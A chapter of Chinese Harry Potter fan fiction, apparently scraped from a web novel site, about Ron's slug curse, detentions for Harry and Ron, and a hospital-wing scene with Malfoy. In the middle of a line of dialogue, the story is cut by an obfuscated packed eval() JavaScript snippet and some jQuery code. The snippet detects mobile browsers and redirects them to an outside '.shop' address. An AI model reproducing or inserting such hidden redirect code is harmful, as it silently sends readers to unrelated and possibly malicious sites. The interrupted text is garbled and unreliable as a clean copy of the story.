四个人在海格那里消磨了一上午的时间。到午饭的时候，罗恩就只会在偶尔咳嗽的时候呕出两条很小的鼻涕虫了。
离开的时候海格带他们去看了他种植的南瓜。
“提前为万圣节做准备，”海格神神秘秘的，“你们看。”
他拨开瓜藤，每一个南瓜都有巨石那么大——简直像是南瓜车。
“哇！”罗恩捧场地大喊，因此又咳了两条鼻涕虫出来，“好厉害！”
“你妹妹也是这么说的。她之前来这里逛过，好像在找什么。”海格高兴道，“不过别跟其他人说，原则上我不能用魔杖。”
罗恩：“金妮——”
“好了，快回城堡吧。”海格不由分说地把罗恩提出了他的宝贝南瓜地，一同被清理出来的还有那两条鼻涕虫，“我想你们该吃午饭了。”
四人刚刚踏进凉爽的礼堂，就看到麦格教授迎面走来。
“这画面真是该死的眼熟。”阿尔特米亚喃喃道。
“如果可以的话，我希望我不要这么习惯。”赫敏深吸一口气，“这不是一件正常的事，但是我竟然毫不意外。”
“波特，韦斯莱。”麦格教授在他们面前站定，“你们的禁闭从今晚开始。”
“马尔福呢？”哈利问，“教授，他不用关吗？”
麦格教授严厉道：“据我所知，他并没有驾驶飞车前往学校。”
“飞车？”阿尔特米亚下意识道，“我没开来学校——”
“你们今天怎么回事？”麦格教授的严厉中透露一丝疑惑，“波特和韦斯莱需要禁闭惩罚，我记得我开学前就通知过你们。”
“没事，教授，他们只是有些困了。”赫敏急忙道。
“我和哈利需要做些什么？”罗恩也开口了。
“你和费尔奇先生一起在奖杯陈列室擦银器，”麦格教授说，“不许用魔法。而你，波特，需要帮助洛哈特教授回复他粉丝的来信。”
“教授，我不能也去奖杯陈列室吗？”哈利急忙道，“我的意思是，让费尔奇先生休息一下——”
“不行。”麦格教授扬起眉毛，“洛哈特教授点名要你。时间是八点整——你们两个都是。”
“好的，教授。”哈利绝望道。
哈利觉得自己今天倒霉极了，连午餐都是不喜欢的牧羊人派。他找遍了餐桌都没看到糖浆水果馅饼，只能又给自己舀了一碗黄油豌豆。
“我完蛋了，费尔奇会关我一整晚。”罗恩鼓着腮帮子，痛苦地把薯饼咽下去，“我敢肯定他会扔给我一百个杯子——梅林，我可不擅长麻瓜的清洗方法。”
“我随时愿意跟你交换。”哈利空洞地往嘴里塞豌豆，“我在德思礼家练习过很多次。”
“我今晚来接你！”阿尔特米亚高兴道。
哈利冷笑了一声，把装满豌豆的勺子塞进了阿尔特米亚嘴里。
*
吃完饭阿尔特米亚收到了妮瑞达带来的便条，是庞弗雷夫人寄给她的。她让她下午两点来医疗翼报道。
“差点忘了我还要实习。”阿尔特米亚把便条塞进口袋里，“真讨厌，能不能申请换一个搭档？”
“说不定你实习的第一个对象就是马尔福。”哈利的表情又活过来了，不再是一副死气沉沉的样子，“我能跟你一起去吗？‘这是阿尔的第一次实习，我不放心所以跟来看看’，这个理由怎么样？”
“我也不放心！”罗恩眼神灼亮地抓住了阿尔特米亚的袍袖，“你知道的，阿尔，我是那么地担心你——”
在罗恩无数次地强调报道应该提早后，四人于一点半抵达了医疗翼。
阿尔特米亚推开门进去，身后跟着比她还迫不及待的哈利和罗恩。赫敏走在最后，手里拿着《与西藏雪人在一起的一年》。
霍格沃茨不安分的学生有很多，但在开学第一周就把自己搞进医疗翼的确实不多。医疗翼的床大多是空的，有一张床死死拉着帘子，另外一张坐着一个拉文克劳的女生。
她长着一头乱蓬蓬、长达腰际的浅金色头发，阿尔特米亚去拉文克劳塔楼找秋的时候偶尔会碰见她。
哈利和罗恩目标明确，直奔拉上帘子的那张床。
“阿尔，你到了吗？”庞弗雷夫人掀开帘子出现了，然后在看到她身后的三个尾巴的时候皱起了眉，“波特先生？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209791|134161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你又出事了？”
“啊，”哈利绞尽脑汁，“庞弗雷夫人，我——”
“没事就离开，我不会吃掉你妹妹。”庞弗雷夫人表情不太好，“至于韦斯莱先生——”
“我有病。”罗恩热切道。他立刻咳嗽了起来，好不容易喷出一条小指大小的鼻涕虫：“夫人，你看。”
“再来晚点，你就痊愈了——行了，自己找张床躺着吧，我刚好配了你能喝的药剂。”她的目光移向赫敏，“格——”
“我听说阿尔的搭档生病了。”赫敏合上书，“我想她需要一个临时的搭档。我是说，如果有魔药方面的需求，我可以帮忙。”
庞弗雷夫人的神色缓和了下来。
“我知道你的魔药学很厉害，”她点点头，“药剂配方我会写给你。麻烦了，格兰杰小姐。”
“我很高兴能帮上你的忙，夫人。”赫敏露出了一个乖巧的笑容。
哈利张着嘴，目瞪口呆地看着赫敏。
“你还在这儿做什么？”庞弗雷夫人看到他又皱起眉，“我想你可以离开了，波特先生。”
哈利：“……”
哈利一步三回头，不敢相信自己被背叛得这么彻底。
*
赫敏跟着庞弗雷夫人去学药剂了——她今天很忙，本来上午就要去圣芒戈的，结果马尔福打乱了她的计划。
“不然谁会在周六叫人来上班？”她叹了口气，“很对不起你们，但我确实得出去一趟。”
阿尔特米亚进了帘子，就看到马尔福死死地瞪着自己。他的脸色很精彩——左脸发紫，右脸发青。
罗恩扒着床努力探头往里看，然后发出了惊天的爆笑声。
“好笑吗？”马尔福冷冷道。
阿尔特米亚的脸上一点笑意都没有，用魔杖指着他肿胀的左脸：“我不想听见你的声音，治疗期间最好闭上你的嘴。”
马尔福恶狠狠地瞪着她。
阿尔特米亚毫不客气地对视回去：“又要告诉你爸爸吗？”
马尔福：“我——”
“闭嘴。”阿尔特米亚的魔杖移到了他的脖子上，“我不想再说第三遍。”